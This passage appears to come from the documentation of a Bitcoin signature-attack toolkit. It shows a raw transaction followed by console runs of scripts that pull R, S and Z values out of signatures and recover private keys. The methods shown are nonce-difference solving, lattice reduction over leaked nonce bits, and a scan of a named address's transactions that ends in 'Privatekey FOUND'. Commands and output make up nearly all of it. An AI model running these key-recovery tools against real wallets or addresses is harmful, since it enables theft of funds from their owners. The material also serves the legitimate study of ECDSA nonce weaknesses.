01000000028370ef64eb83519fd14f9d74826059b4ce00eae33b5473629486076c5b3bf215000000008c4930460221009bf436ce1f12979ff47b4671f16b06a71e74269005c19178384e9d267e50bbe9022100c7eabd8cf796a78d8a7032f99105cdcb1ae75cd8b518ed4efe14247fb00c9622014104e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6cffffffffb0385cd9a933545628469aa1b7c151b85cc4a087760a300e855af079eacd25c5000000008b48304502210094b12a2dd0f59b3b4b84e6db0eb4ba4460696a4f3abf5cc6e241bbdb08163b45022007eaf632f320b5d9d58f1e8d186ccebabea93bad4a6a282a3c472393fe756bfb014104e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6cffffffff01404b4c00000000001976a91402d8103ac969fe0b92ba04ca8007e729684031b088ac00000000 55 | 56 | Starting Program... 57 | ====================================================================== 58 | [Input Index #: 0] 59 | R: 009bf436ce1f12979ff47b4671f16b06a71e74269005c19178384e9d267e50bbe9 60 | S: 00c7eabd8cf796a78d8a7032f99105cdcb1ae75cd8b518ed4efe14247fb00c9622 61 | Z: 9f4503ab6cae01b9fc124e40de9f3ec3cb7a794129aa3a5c2dfec3809f04c354 62 | PubKey: 04e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6c 63 | ====================================================================== 64 | [Input Index #: 1] 65 | R: 0094b12a2dd0f59b3b4b84e6db0eb4ba4460696a4f3abf5cc6e241bbdb08163b45 66 | S: 07eaf632f320b5d9d58f1e8d186ccebabea93bad4a6a282a3c472393fe756bfb 67 | Z: 94bbf25ba5b93ba78ee017eff80c986ee4e87804bee5770fae5b486f05608d95 68 | PubKey: 04e3896e6cabfa05a332368443877d826efc7ace23019bd5c2bc7497f3711f009e873b1fcc03222f118a6ff696efa9ec9bb3678447aae159491c75468dcc245a6c 69 | 70 | ``` 71 | 72 | ``` 73 | (base) C:\anaconda3\RSZ>python rsz_solve.py 74 | 75 | ======================================================================== 76 | True Privatekey = 0x6a0d91cdd5cf761fe02de7b56bbe4ae1ed55b7a4faca12db65f02ee8e5b61602 77 | ======================================================================== 78 | k1: 0x3c977dbdb3deeefcffef9fda93cdfeacfb83a8a9a6439585bb37f052a16f314 79 | r1: 0x2c0a015c8976d170edc918480ee981e75c513dfea11086ddc89baadfd9038a29 80 | s1: 0xf06ac541347ff93f4269579d9ca71cf7ad32859b83596721798b370ec9100749 81 | z1: 0x37c7de2760ab892174e6680d621e72eb60b4b7cde365164ee00fee7f3a3e83dd 82 | Tx1 Correct: rsz Validated the Pubkey 83 | ======================================================================== 84 | k2: 0x85e0356d099499f90c926619fdde95b4f60c0a4644daf6f3b597d89dbb27f31c 85 | r2: 0xc2e6e5acb70205a4f8a2639568e2bfd855111ecf334304193d70e967c1e3d7d8 86 | s2: 0xfe7b7da891dfbb1d33a94b810d45caa7e8768b0e3b1bd750da76f08fcd00d814 87 | z2: 0x2a3a32220a7376ce84cbbd96673a89d534f94b0d887fac8e532ec764aab9e86a 88 | Tx2 Correct: rsz Validated the Pubkey 89 | ======================================================================== 90 | Starting to solve rsz using difference of k between 2 Tx 91 | Extracted Privatekey = 0x6a0d91cdd5cf761fe02de7b56bbe4ae1ed55b7a4faca12db65f02ee8e5b61602 92 | ==== Nonce Found using 2 rsz diff = 0x3c977dbdb3deeefcffef9fda93cdfeacfb83a8a9a6439585bb37f052a16f314 93 | 94 | ``` 95 | 96 | ``` 97 | (base) C:\anaconda3\RSZ>python LLL_nonce_leakage.py 98 | 99 | Fixed Nonce bits = 56 Minimum Signature Required = 8 100 | ############################################################################### 101 | secret: f13a1e3ceb21a8537c5b0c6a68ba01fc256edbd874c48275e0e43bb17b8df505 102 | Pubkey: 043eb4b61f32e3365ebb679990f15c9049f2c452b3c72ec5c3e8e4359c2dccb886f8eaaa94d9e37140d9784020d0de9b4c8a4d7f16b8813703aff6f35c8be3c0f3 103 | ############################################################################### 104 | Original Matrix 105 | [[115792089237316195423570985008687907852837564279074904382605163141518161494337, 0, 0, 0, 0, 0, 0, 0, 0], [0, 115792089237316195423570985008687907852837564279074904382605163141518161494337, 0, 0, 0, 0, 0, 0, 0], [0, 0, 115792089237316195423570985008687907852837564279074904382605163141518161494337, 0, 0, 0, 0, 0, 0], [0, 0, 0, 115792089237316195423570985008687907852837564279074904382605163141518161494337, 0, 0, 0, 0, 0], [0, 0, 0, 0, 115792089237316195423570985008687907852837564279074904382605163141518161494337, 0, 0, 0, 0], [0, 0, 0, 0, 0, 115792089237316195423570985008687907852837564279074904382605163141518161494337, 0, 0, 0], [0, 0, 0, 0, 0, 0, 115792089237316195423570985008687907852837564279074904382605163141518161494337, 0, 0], [2988567097096369072114256704492752094134370478079672678724583563784523759380194381101303007421348038236013182197166091841310496678504274536669021895976687, -6738142932705740457105677849364580346544371553506799055378865962606747928093276755130757431460273806911522952651290394284163090327037989241628588755641563, -4609254798108186796170670673211114832918863612866138122054703317440751592943691412538893967917280774176482822495579075978206122967125902798957244551197095, -4241018251166027250833859007695934733691821946409054337471303047554210658455462398597308443919577256694427852291869818071497434990022568279646523419972974, -3786532040371568123260653635376072873735808584513069558430341354041374072323853425713333359031171721704455202520148845248110455200710766560032938878291436, -1455140373318134753656398793208140405472020050459686656109449769771489208866781231797782913592880545869819687376301918352653011562080323940635317208444392, -4531215516145026319614661110389205527691723869606480801406600020033638258342487080403483208628657933375998193530783342366298428990681271342765206141765890, 1.3877787807814457e-17, 0], [-3640897815219273726171209317919836168123870485952174405025247556887841773680519710925144846918890366983311099492360262678907710529974609367712450770232532, -2297328352498726261502892431990017228169119063790068441607856150715311591699626613603902401787786285587075499186045363199489859617591793008665855383016252, -954965833481163842583176851975881485172685582439393133772147837653200782253861390815646522387162631100976408183149777942842142453670313611884197350568958, -2673403826021012432158013606849776453129157388761886651386316233860577260189931431343792659010346167776362261841946472117774484438917640474689303485763098, -1657543466262215935719403308193088630371918573859132142053143226330371430854549309565433337909468889463607488811009398826177343366007786144219522532417902, 1998395227990224857517731021436691048749744756792397727553558892310572739051578625185843809195440634123692570493347436858750712895821615045659992558344464, 457104288102981440020849854044141614291770019109689785077187721851181461921741961531220677053564384775687984813817030125552994012190695367500652879856115, 0, 1606938044258990275541962092341162602522202993782792835301376]] 106 | 107 | 108 | Reduced Matrix 109 | [[0, 0, 0, 0, 0, 0, 0, 1606938044258990275541962092341162602516201955414261509405631, 0], [-1216674236050858179778423307933806313861976262663692177459505, -961319248046196147935690067612344523652647960777891808172466, -939218274296704509334085803490832671730917030741052720700551, -689284247273089543013034679061282951432484510730477009401773, -1205585714487743872094134206478015239912732375554422876465541, -47328867541166285983202769828718987202468065927547743537509, -1062793502486645769413900352391018429582619366049041166256918, -92731473947427358386673554123082880122698072324206367720926, 1606938044258990275541962092341162602522202993782792835301376], [162385477386577120585255320203282660417928558451013086108488700271, 471319780098501976580791250346316391728264102071722915803041227410, 79116519675663015769367710183256324988593944147332189368481288958, 35299313900563424380662359920585387924828091753334637323994934806, -583428424135750123518976374987219931024204299338021870479378212170, -94690281005192707011019467007883479911657131331357709896071718687, -112700003843235162243127006462484946241579596548267452063082094087, 372185213887535146763104417857097363561230093006104766055284, -48744858634552211018289878109076826384908505613407237866031939584], [-132090495765940200534085024838171940963660658562348911570236270674, -630062094395381731000823507925953007800358869425881083446608118454, -559431653287312227548995156211501110112540307077954782374448959444, -114304625542408124594436360781621674597425415567339300554488886742, -297940861450850569988993662783765629774736053559931735303395973801, -947453385076568932872887718512827637302565450547291320454129278226, 1056413216270422516954638537195377221151359614839995342750530760393, 425349534596469653362751627291677058510005755560068626461450, -405682757839491907992497123946172887144947801201422530821679480832], [895054617959122636610545407102258181850649371812861882522255521304, -1002999564847128944840093633727073043495959872755962870093581948051, -278499853321619591396629542636444347071098880668712796594547319229, -285056889792351116341942687126830545521318125051385712456110646047, -455235656858684910074639395834210351605651812213163297671935031920, 307587990339666351113300772576837082563594999421064029363579163220, 218756198082997390581373228316748487932783263966620120868947126179, -785645968693293670632397855667988005575208237027151461541317, -395191059348524960483483653445277436513080337855014676399996796928], [-15138371016527076872567737456079705395847955795648505541954699023, -20726432263824091815707478537841566736368587150955480575464165434, 302937865903103280067742477685024842349959810628602629781177723707, -119433777623252693511393180357394422243894419513207858524252073662, -220243912630677753943072966263165737006402230135140629740445017758, -72894702750048234292093672925558919787580283847264137260799153268, 884189896626441260554675516705983299723696552077322678919433785339, 254548013576963719500247497194241165334403475431278559094218, 519368803656682693016264316093033117785586096402573775540745928704], [294777126712621326481663572264989012863135890936915992147115832973, 334701172445166088659223279527364205253063069772786500599624311195, -19091407455208137809336263885113743664270239284603456409246607173, 455731751496798772118405945289788280982813291162921812112831168945, 66022461505811299812985707520634328062247019961084426674896512383, 165916609407200188690939691167424802407388440889063119318665804804, 32466975981875890740043057306155568234865579965334929213756560741, 203957754399204974922485137153029759391473028759365711610174, 683630010540836678982163681172146759015405686427050859165252583424], [-448105345735299341461643150205222650149000771111501809301682736046, 188108397562298607866512828174474651110135520785130869532491210507, 258972152915500529681651123075095418332249317480767795540149377353, 631804551545985644901565919265312086381943707930300914063014109343, -437996224302032991708140459125716041327609171136580597376043324616, 611576481046181845940103533309459182008915238274643462814639452220, -97356014331892221022009054023341237842903910215473644424955877552, 20014736944564812098428060308533522191505792033065345236390, -179350355119745904653238389126197158067503076136097508347986575360], [-160246247310128943280352001212317012809606322694202507252657234244, 378765160253169935862798686184204168944858577057694324242561136681, -668091669279796114986509047241136159813727883605651718025433840003, -238637465717041695445041357897145025665850471742616193121040902932, 186588358390772104778324952677196782114831025121284384248309627904, 238362938636193878008421082979585354343178378530103864645347370726, 302480189773002488526594621225999486891028983246560163851066458813, 83768962071937763115666777994778766401117983793017844552124, -40526977476211734749168283968844120835609959503202035306300702720]] 110 | ------------------------------------------------------------------------------- 111 | Found private key = f13a1e3ceb21a8537c5b0c6a68ba01fc256edbd874c48275e0e43bb17b8df505 112 | ------------------------------------------------------------------------------- 113 | time = 3.49 sec 114 | ``` 115 | ``` 116 | (base) C:\anaconda3\RSZ>python rsz_rdiff_scan.py -a 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm 117 | 118 | Starting Program... 119 | ------------------------------------------------------------------------------------------------------------------------ 120 | Total: 50 Input/Output Transactions in the Address: 1BFhrfTTZP3Nw4BNy4eX4KFLsn9ZeijcMm 121 | UnSupported Tx Input. Presence of Witness Data 122 | Skipped the Tx [d52c7663adf9702529553e8eeb18f7f2bedad1e4ef23a7f9a187660d7dcb3522]........ 123 | UnSupported Tx Input. Presence of Witness Data 124 | Skipped the Tx [d52c7663adf9702529553e8eeb18f7f2bedad1e4ef23a7f9a187660d7dcb3522]........ 125 | ====================================================================== 126 | [Input Index #: 0] [txid: 3b7a0a5f4c55718f6374fd718d65e2b4a8fde8fd1158b4f9f659872899530939] 127 | R: 384327a0bdd1aeb3c33c4a49d7ab617657e24e979085b672017f25f9761722fd 128 | S: 6e2685a20bc95af56a8aa6035a7e29f1cedbb8cd56403011e9281687ed32ee58 129 | Z: 938a0a4d20b7e40bbd587f752f85dd1ed7f84b790965ca0407b5367d33f17f6b 130 | PubKey: 04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff 131 | ====================================================================== 132 | [Input Index #: 0] [txid: d3d0e560d414c86d88ea645a9dbee583d21a95ae2e57f10679b043ef33a0d23c] 133 | R: 4e1e91433ad7b1f6e52466f4d233c94b7023937f6345ab1179a2b268a22d52cc 134 | S: 270941b896645a8ecd98253dae59c580766ec10391d5742f830874dbabc4acbe 135 | Z: 74419baf355e3e14c1e44b9bcd8e7a7a2cdd1488c72fbfd3ab30523a448dd70d 136 | PubKey: 04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff 137 | ====================================================================== 138 | [Input Index #: 0] [txid: 3e9cd088d9f5462709b0e407c3e938518b348feaad879bc24fb88ff9b0ade941] 139 | R: 755f50abc717f8a5c7bf41d4ae2f6c702afcb3dccf127ae02dbcf5c64c55f3ea 140 | S: 45e92613115448bd6710c313ff2c6af2924dafee49d7a57915003ee218f5b73a 141 | Z: ee540220c3570af1cf96f9d9660b3e1dc593cae60e68a284363badce26830d64 142 | PubKey: 04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff 143 | ====================================================================== 144 | ..... 145 | ..... 146 | ..... 147 | ..... 148 | ======== RSZ to PubKey Validation [SUCCESS] ======== 149 | ======== RSZ to PubKey Validation [SUCCESS] ======== 150 | ======== RSZ to PubKey Validation [SUCCESS] ======== 151 | ======== RSZ to PubKey Validation [SUCCESS] ======== 152 | ======== RSZ to PubKey Validation [SUCCESS] ======== 153 | ======== RSZ to PubKey Validation [SUCCESS] ======== 154 | ..... 155 | ..... 156 | Duplicate R Found. Congrats!. (87, 95, '0400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') 157 | ..... 158 | ..... 159 | ====================================================================== 160 | ------------------------------------------------------------------------------------------------------------------------ 161 | [i=103] [j=105] [R Diff = fffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141] 162 | Privatekey FOUND: 0xc477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96 163 | ====================================================================== 164 | ------------------------------------------------------------------------------------------------------------------------ 165 | Program Finished ... 166 | ``` 167 | --------------------------------------------------------------------------------